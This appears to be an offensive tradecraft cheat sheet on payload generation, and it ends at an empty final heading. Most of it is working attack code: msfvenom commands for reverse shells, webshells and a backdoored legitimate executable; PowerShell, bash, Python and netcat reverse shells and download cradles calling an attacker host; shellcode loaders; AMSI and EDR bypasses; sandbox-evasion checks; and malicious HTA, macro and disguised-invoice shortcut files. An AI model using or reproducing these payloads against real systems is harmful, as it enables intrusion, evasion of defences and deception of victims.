ᛉ Yggdrasil

Tradecraft

Payload Generation

15 Sep 2026 · 4,237 words · 19 min

Contents

Legend: [MSF] = Metasploit/MSFvenom | [PS] = PowerShell | [OBF] = Obfuscation | [EXE] = Executable payload | [SC] = Shellcode | [AV] = AV Evasion | [EDR] = EDR bypass | [STAGED] = Staged payload | [STAGELESS] = Stageless payload | [ENCRYPT] = Encryption | [TOOL] = Tool


1. Payload Fundamentals

What it means: A payload is the code executed on a target after exploitation. Understanding payload types, formats, and evasion is critical — modern AV/EDR solutions detect naive payloads instantly; only well-crafted, obfuscated, or custom payloads survive on hardened targets.


1.1 Payload Type Architecture

┌──────────────────────────────────────────────────────────────────────────────┐
│                               PAYLOAD TYPES                                  │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Staged (small stager → downloads full payload):                            │
│                                                                              │
│     ├─ Stager : tiny code → connects back → downloads stage                  │
│     ├─ Stage  : full Meterpreter / shell (in-memory)                         │
│     ├─ Pros   : small footprint, bypasses size limits                        │
│     └─ Cons   : requires network connection to C2                            │
│                                                                              │
│     Example : windows/meterpreter/reverse_tcp                                │
│                                                                              │
│                                                                              │
│   Stageless (full payload self-contained):                                   │
│                                                                              │
│     ├─ Entire payload in one file                                            │
│     ├─ Pros : works in restricted network environments                       │
│     └─ Cons : larger size → more detectable                                  │
│                                                                              │
│     Example : windows/meterpreter_reverse_tcp                                │
│                                                                              │
│                                                                              │
│   Singles (simple, self-contained, no stage):                                │
│                                                                              │
│     ├─ Example : windows/shell/bind_tcp                                      │
│     └─ Others  : exec, adduser, download_exec                                │
│                                                                              │
│                                                                              │
│   Connection Directions:                                                     │
│                                                                              │
│     ├─ Reverse        : target → attacker (bypasses inbound firewall)        │
│     ├─ Bind           : attacker → target (requires open inbound port)       │
│     └─ Reverse HTTPS  : target → attacker over 443 (most stealthy)           │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.2 Payload Format Reference

Format Extension Use Case
────────────────────────────────────────────────────────────────────
exe .exe Windows executable (most common)
exe-service .exe Windows service binary
dll .dll DLL injection, sideloading
powershell .ps1 PowerShell script
psh-cmd cmd.exe PS payload via cmd one-liner
psh-reflection .ps1 Reflective PS payload
hta-web .hta HTML Application (phishing)
vba .vba VBA macro for Office
vba-exe .vba VBA that drops exe
asp .asp ASP webshell
aspx .aspx ASPX webshell
jsp .jsp Java Server Pages webshell
war .war Java web archive
elf (none) Linux executable
elf-so .so Linux shared object
raw .bin Raw shellcode bytes
c .c C source shellcode
csharp .cs C# source
python .py Python payload
ruby .rb Ruby payload


2. MSFvenom Payloads

What it means: MSFvenom is the standard payload generation tool in Metasploit, combining msfpayload and msfencode. Essential for generating quick payloads across every OS and format — though modern AV detects most default outputs immediately.


2.1 MSFvenom Syntax & Options

# ─── Core syntax ───
msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <FORMAT> -o <OUTPUT>

# ─── Essential flags ───
-p   <payload>     # payload module path
-f   <format>      # output format
-e   <encoder>     # encoding module
-i   <count>       # encoding iterations
-b   <bytes>       # bad bytes to avoid (e.g., \x00\x0a)
-x   <template>    # inject into existing exe template
-k                 # preserve template functionality
-n   <nopsled>     # prepend NOP sled (bytes)
-s   <size>        # max payload size
-o   <file>        # output file
--platform <os>    # target platform
--arch <arch>      # target architecture

# ─── List everything ───
msfvenom -l payloads                           # all payloads
msfvenom -l payloads | grep windows/x64        # filter
msfvenom -l encoders                           # all encoders
msfvenom -l formats                            # all output formats
msfvenom -l nops                               # NOP generators
msfvenom --list-options -p windows/x64/meterpreter/reverse_tcp

2.2 Windows Payloads

# ─── Staged Meterpreter (most common) ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f exe -o shell.exe

# ─── Stageless Meterpreter (no network dependency) ───
msfvenom -p windows/x64/meterpreter_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f exe -o shell_stageless.exe

# ─── HTTPS (encrypted, port 443 = bypass firewall) ───
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.10.10.10 LPORT=443 \
    -f exe -o shell_https.exe

# ─── Simple TCP shell (no Meterpreter) ───
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f exe -o simple_shell.exe

# ─── DLL payload ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f dll -o evil.dll

# ─── Service executable ───
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f exe-service -o service_shell.exe

# ─── PowerShell format ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f psh-reflection -o shell.ps1

# ─── Inject into legitimate exe (template injection) ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -x /usr/share/windows-binaries/plink.exe \
    -k -f exe -o backdoored_plink.exe
# -x = template, -k = keep original functionality!

# ─── 32-bit payloads ───
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f exe -o shell32.exe
# Note: windows/ = 32bit, windows/x64/ = 64bit

2.3 Linux Payloads

# ─── ELF executable ───
msfvenom -p linux/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f elf -o shell.elf
chmod +x shell.elf

# ─── Stageless Linux ───
msfvenom -p linux/x64/meterpreter_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f elf -o shell_stageless.elf

# ─── Simple shell (no Meterpreter) ───
msfvenom -p linux/x64/shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f elf -o simple.elf

# ─── Shared object (.so) ───
msfvenom -p linux/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f elf-so -o evil.so

2.4 Web Payloads

# ─── PHP webshell ───
msfvenom -p php/meterpreter_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o shell.php

# ─── ASP (legacy IIS) ───
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f asp -o shell.asp

# ─── ASPX (.NET IIS) ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f aspx -o shell.aspx

# ─── JSP (Tomcat/Java) ───
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o shell.jsp

# ─── WAR (Tomcat deploy) ───
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f war -o shell.war

2.5 Macro / Script Payloads

# ─── HTA (HTML Application — phishing) ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f hta-web -o evil.hta

# ─── VBA Macro ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f vba -o macro.vba
# Paste into: Office Document → Developer → Macros → VBA Editor

# ─── Python ───
msfvenom -p python/meterpreter_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o shell.py

2.6 MSFvenom Encoders

# ─── List encoders ───
msfvenom -l encoders
# Key encoders:
# x64/xor_dynamic      → XOR with random key (x64)
# x86/shikata_ga_nai   → polymorphic XOR (x86, most famous)
# x86/countdown        → subtract decoder
# x64/zutto_dekiru     → x64 XOR

# ─── Basic encoding ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -e x64/xor_dynamic \
    -i 5 \            # 5 encoding iterations
    -f exe -o encoded.exe

# ─── Avoid bad bytes ───
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -b "\x00\x0a\x0d" \   # null, LF, CR
    -f exe -o nobadchars.exe

# ─── NOTE: Shikata Ga Nai is completely signatured by AV ───
# Use custom encoding instead → see Section 5

2.7 Metasploit Handler Setup

# ─── Quick handler (CLI) ───
msfconsole -x "use exploit/multi/handler; \
  set PAYLOAD windows/x64/meterpreter/reverse_tcp; \
  set LHOST 10.10.10.10; \
  set LPORT 4444; \
  set ExitOnSession false; \
  exploit -j"

# ─── HTTPS handler (with cert) ───
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.10.10.10
set LPORT 443
set HandlerSSLCert /path/to/cert.pem
set StagerVerifySSLCert true
exploit -j

# ─── Multiple sessions handler ───
set ExitOnSession false   # don't stop after first connection
exploit -j                # run in background (job)
jobs                      # list running handlers
sessions                  # list active sessions
sessions -i 1             # interact with session 1

3. PowerShell Payloads

What it means: PowerShell is the most versatile payload delivery mechanism on Windows — it runs in-memory (fileless), can download and execute code remotely, has native .NET access for shellcode injection, and dozens of bypass techniques for constrained language mode and AMSI.


3.1 Basic PowerShell Reverse Shells

# ─── One-liner reverse shell (no MSF) ───
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

# ─── Compress to one line ───
$c=New-Object Net.Sockets.TCPClient("10.10.10.10",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($rb);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()

3.2 Download Cradles

# ─── IEX + IWR (most common) ───
IEX(IWR -UseBasicParsing "http://10.10.10.10/shell.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://10.10.10.10/shell.ps1")

# ─── Bypass execution policy + cradle ───
powershell -ep bypass -c "IEX(IWR -UseBasicParsing http://10.10.10.10/shell.ps1)"
powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -c "..."

# ─── HTTPS download cradle (evade SSL inspection) ───
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
IEX(New-Object Net.WebClient).DownloadString("https://10.10.10.10/shell.ps1")

# ─── Alternate download cradles (bypass proxy filtering) ───
# Via COM object:
$com = New-Object -ComObject Msxml2.XMLHTTP
$com.open("GET","http://10.10.10.10/shell.ps1",$false)
$com.send()
IEX $com.responseText

# Via BitsTransfer:
Import-Module BitsTransfer
Start-BitsTransfer -Source "http://10.10.10.10/shell.ps1" -Destination "$env:TEMP\s.ps1"
IEX (Get-Content "$env:TEMP\s.ps1" -Raw)

# Via certutil:
certutil -urlcache -split -f "http://10.10.10.10/shell.exe" "$env:TEMP\s.exe"
& "$env:TEMP\s.exe"

3.3 Base64 Encoded PowerShell

# ─── Encode PS command for -enc flag ───
# On Linux:
echo 'IEX(IWR -UseBasicParsing http://10.10.10.10/shell.ps1)' | \
    iconv -t UTF-16LE | base64 -w0
# Output → use with powershell -enc <OUTPUT>

# Full reverse shell encoded:
$cmd = '$c=New-Object Net.Sockets.TCPClient("10.10.10.10",4444);...'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host "powershell -enc $encoded"

# ─── Execute ───
powershell -ep bypass -enc <BASE64_STRING>
powershell -NoP -NonI -W Hidden -ep Bypass -enc <BASE64_STRING>

4. Shellcode Generation & Injection

4.1 Raw Shellcode Generation

# ─── MSFvenom raw shellcode ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o shellcode.bin

# ─── C format (embed in C/C++ code) ───
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f c

# Output:
# unsigned char buf[] =
# "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00..."

# ─── C# format ───
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f csharp

# ─── Python format ───
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f python

4.2 Shellcode Injection Templates

// ─── C# Shellcode Loader (VirtualAlloc + CreateThread) ───
using System;
using System.Runtime.InteropServices;

class Loader {
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpAttr, uint dwSize,
        IntPtr lpFunc, IntPtr lpParam, uint dwFlags, IntPtr lpId);

    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMs);

    static void Main(string[] args) {
        // MSFvenom shellcode here:
        byte[] sc = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */ };

        // Allocate RWX memory:
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
            0x3000, 0x40);  // MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE

        // Copy shellcode:
        Marshal.Copy(sc, 0, mem, sc.Length);

        // Execute:
        IntPtr thread = CreateThread(IntPtr.Zero, 0, mem,
            IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(thread, 0xFFFFFFFF);
    }
}
// ─── C Shellcode Loader ───
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0...";  // MSFvenom output

int main() {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(mem, shellcode, sizeof(shellcode));

    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

// Compile:
// x86_64-w64-mingw32-gcc loader.c -o loader.exe
# ─── Python Shellcode Injector (ctypes) ───
import ctypes

shellcode = bytearray(b"\xfc\x48\x83\xe4\xf0...")  # MSFvenom python output

# Allocate RWX memory:
mem = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000), ctypes.c_int(0x40))

# Copy shellcode:
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(mem), buf, ctypes.c_int(len(shellcode)))

# Execute:
ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0),
    ctypes.c_int(mem), ctypes.c_int(0), ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(ht), ctypes.c_int(-1))

5. Obfuscation Techniques

What it means: Obfuscation transforms payload source/bytecode to bypass signature-based detection while keeping functionality intact. Layered obfuscation (encoding + encryption + structure changes) bypasses most static AV engines.


5.1 PowerShell Obfuscation

# ─── Layer 1: Base64 encoding ───
$cmd = "IEX(IWR http://10.10.10.10/shell.ps1)"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $enc

# ─── Layer 2: String concatenation ───
# BAD (detectable):  IEX
# GOOD (obfuscated): 
$a = "IE"; $b = "X"; IEX ($a + $b)

# ─── Layer 3: Char code substitution ───
# "IEX" → [char]73+[char]69+[char]88
$iex = [string][char]73 + [char]69 + [char]88
& ($iex) (...)

# ─── Layer 4: Tick marks (PS escapes) ───
`I`E`X(...)
i`ex(...)
# Tick marks are ignored by PS parser but break string matching!

# ─── Layer 5: Variable substitution ───
$env:ComSpec-join''   # = "iex" from comspec path![1][2][3]
# C:\Windows\system32\cmd.exe
#             ^  ^^
# index 4='i', 24='e', 25='x' ← genius trick!

# ─── Layer 6: SecureString then BSTR ───
$ss = ConvertTo-SecureString "IEX(...)"-AsPlainText -Force
[Runtime.InteropServices.Marshal]::PtrToStringAuto(
    [Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss))

# ─── Invoke-Obfuscation (automated PS obfuscation) ───
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
# TOKEN → all obfuscation types
# ENCODING → base64, ASCII, hex, etc.
# COMPRESS → GZIP + base64
# LAUNCHER → different launch methods

5.2 Invoke-Obfuscation Techniques

# ─── String token obfuscation ───
# Input:  IEX(New-Object Net.WebClient).DownloadString("http://...")
# Output: .(''.join('i','e','x'))(& ('new-'+'object') ...)

# ─── Encoding obfuscation ───
# SecureString:
powershell -c "$ss=ConvertTo-SecureString 'PAYLOAD' -AsPlainText -Force; ..."

# ASCII array:
# Converts payload to array of ASCII values → reconstructs on runtime

# GZIP + Base64:
# 1. GZIP compress payload
# 2. Base64 encode
# 3. Runtime: base64 decode → GZIP decompress → IEX
$bytes = [System.IO.File]::ReadAllBytes("payload.ps1")
$ms    = New-Object System.IO.MemoryStream
$gs    = New-Object System.IO.Compression.GZipStream($ms,
         [System.IO.Compression.CompressionMode]::Compress)
$gs.Write($bytes,0,$bytes.Length); $gs.Close()
$encoded = [Convert]::ToBase64String($ms.ToArray())
# Decode + execute:
IEX ([System.IO.StreamReader]::new(
    [System.IO.Compression.GZipStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String($encoded)),
        [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

5.3 AMSI Bypass Techniques

# AMSI = Antimalware Scan Interface → PowerShell feeds code to AV before exec
# Bypass AMSI = AV won't scan your payload!

# ─── Method 1: amsiInitFailed patch ───
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
    'amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# ─── Method 2: Obfuscated version (bypass string detection) ───
$a=[Ref].Assembly.GetType('System.Management.Automation.'+
    [char]65+'msiUtils')
$b=$a.GetField(('amsiInit'+'Failed'),'NonPublic,Static')
$b.SetValue($null,$true)

# ─── Method 3: AmsiScanBuffer patch (memory patch) ───
# Patches the AmsiScanBuffer function in amsi.dll to return AMSI_RESULT_CLEAN
$a = [DllImport("kernel32.dll")]
$p = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (Add-Type -MemberDefinition '...' -PassThru)...)
# Full: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# ─── Method 4: Force error via reflection ───
$c=[System.Text.Encoding]::Unicode.GetString(
    [System.Convert]::FromBase64String("YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=="))
# = "amsiInitFailed"

# ─── Method 5: Matt Graeber one-liner (classic) ───
[Runtime.InteropServices.Marshal]::WriteByte(
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
        'amsiSession','NonPublic,Static').GetValue($null),
    0x0)

# ─── Method 6: Nishang AMSI bypass ───
# https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1
Import-Module .\Invoke-AmsiBypass.ps1
Invoke-AmsiBypass -Technique all

5.4 Binary Obfuscation Tools

# ─── Veil Framework (Python-based evasion) ───
git clone https://github.com/Veil-Framework/Veil.git
cd Veil && ./config/setup.sh
./Veil.py
# → Evasion → use windows/meterpreter/rev_tcp.py
# → Generates heavily obfuscated Python/PS/C payloads

# ─── Shellter (PE injection + polymorphic) ───
apt install shellter
shellter
# Mode: Auto
# PE Target: /usr/share/windows-binaries/plink.exe (legit exe)
# Payload: Meterpreter reverse TCP
# → Injects shellcode into legit exe with polymorphic encoding!
# → Bypasses most AV!

# ─── Phantom Evasion ───
# https://github.com/oddcod3/Phantom-Evasion
python3 phantom-evasion.py
# Menu → Windows shellcode injection with encryption

# ─── ScareCrow (EDR bypass loader) ───
# https://github.com/optiv/ScareCrow
./ScareCrow -I shellcode.bin \
    -Loader binary \
    -domain microsoft.com   # ← fake code signing domain!

6. AV/EDR Evasion Strategies

6.1 Encryption-Based Evasion

// ─── XOR encrypt shellcode ───
byte[] shellcode = new byte[] { /* raw shellcode */ };
byte key = 0xAB;   // XOR key

// Encrypt at generation time:
byte[] encrypted = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
    encrypted[i] = (byte)(shellcode[i] ^ key);

// Decrypt + execute at runtime:
byte[] decrypted = new byte[encrypted.Length];
for (int i = 0; i < encrypted.Length; i++)
    decrypted[i] = (byte)(encrypted[i] ^ key);
// → AV scans the encrypted blob → no shellcode signature!
// → Only decrypted in memory at runtime → AMSI bypass!
# ─── AES encrypt shellcode ───
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64

shellcode = b"\xfc\x48\x83..."   # raw shellcode bytes

key = get_random_bytes(32)       # AES-256 key
iv  = get_random_bytes(16)

# Pad to 16-byte boundary:
pad = 16 - (len(shellcode) % 16)
shellcode += bytes([pad] * pad)

cipher    = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(shellcode)

print(f"Key: {base64.b64encode(key).decode()}")
print(f"IV:  {base64.b64encode(iv).decode()}")
print(f"Enc: {base64.b64encode(encrypted).decode()}")

# In loader: decrypt at runtime → inject → no static signature!

6.2 Process Injection Techniques

// ─── Process Hollowing ───
// 1. Create legitimate process (suspended)
// 2. Unmmap its memory
// 3. Write shellcode into the hollow process
// 4. Resume → legitimate-looking process runs your shellcode!

// Common targets: svchost.exe, explorer.exe, notepad.exe
// Looks like: legitimate process in task manager!

// ─── DLL Injection ───
// 1. OpenProcess (target PID)
// 2. VirtualAllocEx (allocate in remote process)
// 3. WriteProcessMemory (write DLL path)
// 4. CreateRemoteThread (call LoadLibrary)
// → Your DLL loads in target process!

// ─── Reflective DLL Injection ───
// Load DLL from memory WITHOUT touching disk!
// No file artifacts → harder to detect!
// Tool: ReflectiveDLLInjection by Stephen Fewer

// ─── Thread Hijacking ───
// Suspend existing thread → overwrite RIP/EIP → resume
// Shellcode runs in context of existing legitimate thread!

6.3 Sandbox Evasion

// ─── Time-based evasion (sandbox has short timeout) ───
Thread.Sleep(120000);   // sleep 2 minutes BEFORE executing
// Most sandboxes timeout → payload runs after analysis window!

// ─── User interaction check ───
// Real users move mouse; sandboxes don't:
[DllImport("user32.dll")]
static extern bool GetCursorPos(out POINT lpPoint);

POINT p1, p2;
GetCursorPos(out p1);
Thread.Sleep(5000);
GetCursorPos(out p2);
if (p1.X == p2.X && p1.Y == p2.Y) Environment.Exit(0);
// No mouse movement = sandbox = don't execute!

// ─── Domain check ───
// Only run in specific domain (your target):
string domain = Environment.UserDomainName;
if (!domain.Contains("CORP")) Environment.Exit(0);
// Won't execute in sandbox (different domain)!

// ─── CPU core count ───
// Sandboxes often have 1-2 cores:
if (Environment.ProcessorCount < 4) Environment.Exit(0);

// ─── RAM check ───
// Sandboxes often have < 4GB RAM:
if (new Microsoft.VisualBasic.Devices.ComputerInfo().TotalPhysicalMemory
    < 4000000000) Environment.Exit(0);

// ─── Recent files check ───
// Real user has many recent files:
var recent = Directory.GetFiles(
    Environment.GetFolderPath(Environment.SpecialFolder.Recent));
if (recent.Length < 10) Environment.Exit(0);

6.4 EDR-Specific Bypasses

// ─── Direct syscalls (bypass userland hooks) ───
// EDRs hook ntdll.dll functions (NtAllocateVirtualMemory, etc.)
// Direct syscalls skip the hook entirely!

// Tool: SysWhispers2/SysWhispers3
// https://github.com/jthuraisamy/SysWhispers2
// Generates direct syscall stubs in C/ASM

// SysWhispers3 usage:
// python3 syswhispers.py -a x64 -l msvc \
//   -f NtAllocateVirtualMemory,NtWriteVirtualMemory,\
//      NtCreateThreadEx,NtProtectVirtualMemory

// Generated: syscalls.h + syscalls.c + syscalls-asm.asm
// Include in project → direct kernel syscalls, bypassing EDR hooks!

// ─── Heaven's Gate (x86→x64 syscall bypass) ───
// On WOW64 (32-bit process on 64-bit OS):
// Jump from 32-bit to 64-bit mode → call 64-bit syscalls directly

// ─── Unhooking ntdll ───
// EDR hooks functions in ntdll.dll in memory
// Load a FRESH copy of ntdll from disk → no hooks!
// Or use the Windows API: MapViewOfFile → read clean ntdll from disk

// ─── ETW (Event Tracing for Windows) bypass ───
// ETW provides telemetry to EDR solutions
// Patch EtwEventWrite to return immediately:
// Find EtwEventWrite in ntdll → patch first bytes → RET instruction
// → EDR gets no telemetry from your process!

7. C2 Framework Payloads

7.1 Cobalt Strike Payloads

# ─── Cobalt Strike Artifact Kit (custom shellcode loaders) ───
# Listener: Listeners → Add → Beacon HTTPS
# Payload: Attacks → Packages → Windows Executable (S)
# → Generates beacon stager

# Stageless beacon (for air-gapped):
# Attacks → Packages → Windows Executable

# PowerShell beacon:
# Attacks → Packages → PowerShell command
# → Generates: powershell.exe -nop -w hidden -enc BASE64...

# ─── Beacon sleep + jitter (OPSEC) ───
sleep 3600 10    # sleep 1 hour, 10% jitter → very slow beacon!
# Low beacon frequency = less network noise = harder to detect!

# ─── Malleable C2 profiles (disguise beacon traffic) ───
# Traffic looks like: Google Analytics, Amazon S3, etc.
# github.com/rsmudge/Malleable-C2-Profiles

7.2 Sliver C2 Payloads

# ─── Sliver: open source CS alternative ───
sliver-server

# Generate implant:
generate --mtls 10.10.10.10 --os windows --arch amd64 --format exe
generate --http 10.10.10.10 --os windows --format shellcode
generate --dns mydomain.com --os linux --format elf

# Start listeners:
mtls        # start mTLS listener
http        # start HTTP listener
dns         # start DNS listener

# Sessions:
sessions           # list
use <ID>          # interact

7.3 Havoc C2 Payloads

# ─── Havoc: modern CS alternative ───
# GUI-based: ./havoc server --profile profiles/havoc.yaotl

# Generate demon (agent):
# Attack → Payload → Generate
# ├── Listener: HTTPS
# ├── Format: Windows EXE / Shellcode / DLL
# ├── Sleep: 2s (jitter 30%)
# ├── Indirect syscalls: ON
# └── Stack spoofing: ON
# → Heavily evades EDR!

8. Payload Delivery Methods

8.1 HTA (HTML Application)

<!-- evil.hta - double-click executes PS payload! -->
<html>
<head>
<script language="VBScript">
    Sub AutoRun()
        Dim oShell
        Set oShell = CreateObject("WScript.Shell")
        oShell.Run "powershell -NoP -NonI -W Hidden -ep bypass -enc BASE64PAYLOAD", 0, False
        Self.Close
    End Sub
</script>
<body onload="AutoRun()">
Loading update...
</body>
</html>

8.2 Malicious Macro (VBA)

' ─── Office VBA macro payload ───
' Tools → Macros → Macro name → Create

Sub AutoOpen()
    Dim oShell As Object
    Set oShell = CreateObject("WScript.Shell")
    ' Split string to bypass macro scanner:
    Dim cmd As String
    cmd = "pow" & "er" & "she" & "ll"
    cmd = cmd & " -NoP -NonI -W H" & "idden -ep bypass"
    cmd = cmd & " -enc BASE64PAYLOAD"
    oShell.Run cmd, 0, False
End Sub

Sub Document_Open()
    AutoOpen
End Sub

8.3 LNK File Payload

# ─── Create malicious .lnk (shortcut) ───
$lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\Invoice.lnk")
$lnk.TargetPath = "powershell.exe"
$lnk.Arguments  = "-NoP -NonI -W Hidden -ep bypass -enc BASE64PAYLOAD"
$lnk.IconLocation = "C:\Windows\System32\imageres.dll,67"  # PDF icon!
$lnk.Save()

# ─── Looks like: Invoice.pdf (with PDF icon) ───
# User double-clicks → PS executes → shell!

9. Language-Specific Payloads

9.1 Python Payloads

# ─── Python reverse shell (cross-platform) ───
import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

# ─── One-liner ───
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"

# ─── Obfuscated ───
python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldC4uLg==').decode())"

9.2 Bash Payloads

# ─── Basic reverse shell ───
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# ─── Background (no job control):
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

# ─── Encoded (avoid special chars in filters) ───
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE=" | base64 -d | bash

# ─── Named pipe ───
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f

# ─── NC reverse shell ───
nc -e /bin/bash 10.10.10.10 4444
nc -c bash 10.10.10.10 4444

9.3 Netcat / Socat Payloads

# ─── Netcat (if -e available) ───
nc -e /bin/bash 10.10.10.10 4444
nc -e cmd.exe 10.10.10.10 4444      # Windows

# ─── Socat (most stable shell) ───
# Attacker listener:
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

# Victim:
socat TCP:10.10.10.10:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
# → Fully interactive PTY shell with tab completion!

# ─── Socat Windows ───
socat TCP:10.10.10.10:4444 EXEC:cmd.exe,pipes

10. Complete Cheat Sheet

10.1 MSFvenom Quick Reference

# Windows x64 Meterpreter staged:
